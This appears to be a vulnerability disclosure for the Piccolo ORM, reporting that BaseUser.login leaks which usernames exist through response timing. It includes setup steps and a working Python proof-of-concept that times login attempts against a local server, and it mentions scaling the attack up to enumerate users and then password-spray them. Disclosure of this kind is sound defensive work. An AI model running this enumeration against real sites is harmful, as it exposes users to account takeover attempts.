Piccolo's current `BaseUser.login` implementation is vulnerable to time based user enumeration

3. In the same file, add the required apps for session authentication. The file should look like the following:

from piccolo.engine.sqlite import SQLiteEngine
from piccolo.conf.apps import AppRegistry


DB = SQLiteEngine()

APP_REGISTRY = AppRegistry(
    apps=[
        "home.piccolo_app",
        "piccolo_admin.piccolo_app",
        "piccolo_api.session_auth.piccolo_app",
        "piccolo.apps.user.piccolo_app",
    ]
)

4. Run the following migrations:

piccolo migrations forwards user
piccolo migrations forwards session_auth

5. Within app.py, mount session_login at the /login path as follows:

from piccolo_api.session_auth.endpoints import session_login
app.mount("/login", session_login())

6. Create a new user using piccolo user create, making a note of the username and password for later steps.

Exploitation

The following Python script can be used to reproduce this issue. It could also be expanded to easily take in user lists to conduct user enumeration at scale, however, that is outside the scope of this report.

import asyncio
import time
from collections import defaultdict

import httpx

number_of_attempts = 50
# Set this to the username from step 6.
valid_username = "skelmis"
invalid_username = "invalid"
data = defaultdict(lambda: [])
# Ensure this points to your current enviroment
local_base_url = "http://127.0.0.1:8000"
# Set this to the password from step 6.
valid_password = "disobey-blunt-kindly-postbox-tarantula"
invalid_password = "cabana-polar-secrecy-neurology-pacific"


async def make_request(username, password, session: httpx.AsyncClient):
    start_time = time.time()
    resp = await session.post(
        f"{local_base_url}/login",
        json={"username": username, "password": password},
        follow_redirects=True,
    )
    end_time = time.time()
    if username == valid_username and password == valid_password:
        # Just sanity check expected passes are passing
        assert resp.status_code == 200

    resultant_time = end_time - start_time
    data[f"{username}|{password}"].append(resultant_time)


async def main():
    async with httpx.AsyncClient() as client:
        # This is the baseline correct request
        for _ in range(number_of_attempts):
            await make_request(valid_username, valid_password, client)
            await asyncio.sleep(0.1)

        # This is for a valid user but invalid password
        for _ in range(number_of_attempts):
            await make_request(valid_username, invalid_password, client)
            await asyncio.sleep(0.1)

        # This is for an invalid user and password
        for _ in range(number_of_attempts):
            await make_request(invalid_username, invalid_password, client)
            await asyncio.sleep(0.1)

        r_1 = data[f"{valid_username}|{valid_password}"]
        r_2 = data[f"{valid_username}|{invalid_password}"]
        r_3 = data[f"{invalid_username}|{invalid_password}"]

        r_1_sum = sum(r_1) / len(r_1)
        r_2_sum = sum(r_2) / len(r_2)
        r_3_sum = sum(r_3) / len(r_3)

        print(
            f"Average time to response as a valid user with a valid password: {r_1_sum}"
        )
        print(
            f"Average time to response as a valid user with an invalid password: {r_2_sum}"
        )
        print(
            f"Average time to response as an invalid user with an invalid password: {r_3_sum}"
        )


if __name__ == "__main__":
    asyncio.run(main())

N.B. This script makes 50 requests per username/password combination in order to be more certain of the time to response for each combination

Analysis

The following is the output from the PoC against pip install piccolo

The following is the output from the PoC against pip install git+https://github.com/piccolo-orm/piccolo.git.

I have included the results from both versions to highlight that this issue is not as a result of this pull request but as a result of the underlying logic in usage.

Both of these runs clearly show a noticeable difference in the time to response for valid and invalid users which would allow a malicious user to build up a list of users for usage in further attacks against the website. For example, after building up a user list a malicious user may then conduct a password spray attack using common passwords in order to takeover user accounts on the platform.

Impact

What kind of vulnerability is it? Who is impacted?

This is an information disclosure vulnerability. It would affect any Piccolo site, and all users of said Piccolo site who can login via regular login portals.